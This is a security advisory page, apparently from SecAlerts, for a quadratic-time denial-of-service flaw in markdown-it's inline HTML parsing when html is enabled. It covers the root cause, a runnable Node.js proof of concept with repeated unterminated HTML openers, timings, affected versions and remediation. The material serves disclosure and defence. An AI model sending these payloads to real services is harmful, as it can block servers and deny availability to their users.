CVE-2026-111766: markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

Published Oct 19, 2026
·
Updated

Summary

With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).

An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.

The issue was reported against the published markdown-it@15.0.2 package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.

Details

src/rulesinline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.

With HTML enabled, src/rulesinline/htmlinline.ts applies an anchored regular expression to the remaining input:

js const match = state.src.slice(pos).match(HTMLTAGRE)

The comment, processing instruction, declaration, and CDATA alternatives in src/common/htmlre.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.

When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.

The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.

The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:

js '</' + '<!--'.repeat(100000)

However, it runs with default options, where HTML is disabled.

A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.

The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.

Proof of concept

Install the affected package in an empty directory:

sh npm install markdown-it@15.0.2

Save the following as poc.mjs and run node poc.mjs:

js import MarkdownIt from 'markdown-it' import { performance } from 'node:perfhooks'

const mdHtml = new MarkdownIt({ html: true }) const mdDefault = new MarkdownIt() const sizes = [8000, 16000, 32000, 64000]

function measure(md, src) { const start = performance.now() md.render(src) return (performance.now() - start).toFixed(1) }

const variants = { comment: '<!--', processing: '<?x', declaration: '<!A', cdata: '<![CDATA[' }

for (const [name, opener] of Object.entries(variants)) { console.log(\n${name}) for (const n of sizes) { const src = 'x ' + opener.repeat(n) console.log({ n, bytes: Buffer.byteLength(src), ms: measure(mdHtml, src) }) } }

const n = sizes.at(-1) const controls = { 'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)], 'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)], 'HTML block': [mdHtml, '<!--'.repeat(n)], 'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)] }

for (const [name, [md, src]] of Object.entries(controls)) { console.log({ control: name, ms: measure(md, src) }) }

const repoPayload = '</' + '<!--'.repeat(100000) console.log({ payload: 'Existing pathological test', htmlFalseMs: measure(mdDefault, repoPayload), htmlTrueMs: measure(mdHtml, repoPayload) })

Measurements from the original report on markdown-it@15.0.2, Node.js 20:

| Construct | 8,000 repetitions | 64,000 repetitions | | --- | ---: | ---: | | Comment | 170 ms | 8,799 ms | | Processing instruction | 26 ms | 1,566 ms | | Declaration | 93 ms | 5,628 ms | | CDATA | 119 ms | 4,179 ms |

An eightfold increase in repetitions produces approximately 35–60 times the execution time, consistent with quadratic growth becoming dominant.

For the comment payload at 64,000 repetitions:

- HTML disabled: 25 ms. - Closed comments: 29 ms. - Payload at the start of an HTML block: 1 ms. - Plain text: 1 ms.

The existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.

Exact timings depend on the runtime and hardware.

Impact

This is an availability issue affecting applications that render attacker-controlled Markdown with html: true, including applications using the commonmark preset.

On Node.js, a synchronous render() call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.

Sanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.

The default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.

The reported affected release is 15.0.2; the full affected version range has not been established.

Other sources

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rulesinline/htmlinline.ts. Its HTMLTAGRE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

— Ubuntu

Affected Software

8 affected componentsFixes available
npm/markdown-it<14.3.3, <15.0.3
npm/markdown-it>=15.0.0<15.0.3
15.0.3
npm/markdown-it<14.3.3
14.3.3
ubuntu/node-markdown-it*
ubuntu/node-markdown-it*
ubuntu/node-markdown-it*
ubuntu/node-markdown-it*
debian/node-markdown-it<=22.2.3+dfsg+~12.2.3-2, <=22.2.3+dfsg+~12.2.3-5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/markdown-it to a version that resolves this vulnerability.

    Fixed in 15.0.3
  2. Upgrade

    Upgrade npm/markdown-it to a version that resolves this vulnerability.

    Fixed in 14.3.3
  3. Upgrade

    Upgrade markdown-it to a version that resolves this vulnerability.

    Fixed in 14.3.3
  4. Upgrade

    Upgrade markdown-it to a version that resolves this vulnerability.

    Fixed in 15.0.3
  5. Configuration

    Disable HTML parsing by setting html to false; avoid enabling HTML through the commonmark preset while the fix is unavailable.

    markdown-it html = false
  6. Compensating control

    Limit the size of attacker-controlled Markdown input to reduce exposure while a fix is being prepared.

Event History

Oct 19, 2026
CVE Published
via Ubuntu·12:00 AM
Data Sourced
via Ubuntu·12:00 AM
RemedyDescriptionSeverityAffected Software
CVE Published
via MITRE·07:47 PM
Data Sourced
via MITRE·07:47 PM
DescriptionSeverityWeakness
Data Sourced
via OSV·08:17 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Oct 20, 2026
Advisory Published
via GitHub·08:08 PM
Data Sourced
via GitHub·08:08 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this denial-of-service condition?

Deployments using markdown-it before 14.3.3 or 15.0.3 are exposed only when the html option or the commonmark preset is enabled and attacker-controlled Markdown can be parsed inside a paragraph. The default configuration with HTML disabled is not affected by these payloads, and HTML blocks are not affected.

2

What input is required to trigger the issue?

An attacker needs to supply Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections within a paragraph. Missing terminators cause repeated searches across overlapping remaining input, resulting in quadratic processing.

3

What is the practical impact of successful exploitation?

Processing the crafted Markdown can consume enough time to block the event loop or make a browser main thread unresponsive. The provided severity vector indicates availability impact only, with no confidentiality or integrity impact.

4

What should be done if an immediate upgrade is not possible?

Disable the html option and avoid the commonmark preset where feasible, since the default HTML-disabled configuration is not affected. Also prevent untrusted Markdown from containing the affected unterminated inline HTML constructs in paragraphs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203